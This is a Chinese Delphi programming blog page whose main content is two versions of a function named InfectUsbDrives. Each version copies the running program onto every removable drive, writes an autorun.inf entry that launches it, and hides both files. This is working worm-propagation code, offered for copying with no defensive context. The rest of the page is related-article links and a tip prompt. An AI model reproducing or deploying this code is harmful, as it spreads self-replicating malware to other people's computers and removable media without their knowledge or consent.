delphi 感染U盘


本文整理自网络,侵删。

 Infect USB Drives 感染U盘

function InfectUsbDrives(ExeName:string):integer;
var
Drives: array[0..128] of char;
xDrive: PChar;
myFile: TextFile;
begin
Result := 0;
GetLogicalDriveStrings(SizeOf(Drives), Drives);
xDrive := Drives;
while xDrive^ <> #0 do
begin
if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then
begin
try
CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);
AssignFile(myFile, xDrive+':\autorun.inf');
if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
except
end;
end;
Inc(xDrive, 4);
end;
end;
复制内容到剪贴板代码:

function InfectUsbDrives(ExeName:string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

相关阅读 >>

Delphi 取相同字符串 2种方法

Delphi adoconnection1 连接excel表格读取数据

Delphi 10.3 断点全部失效

Delphi侦测条码枪方式

Delphi 瞬间消除无用托盘图标(刷新托盘)

Delphi下调用有返回值的存储过程

强大的Delphi rtti--兼谈需要了解多种开发语言

Delphi获取系统当前进程名和进程id

Delphi 读取dll所有输出函数名

Delphi 转数字为大写金额源代码

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...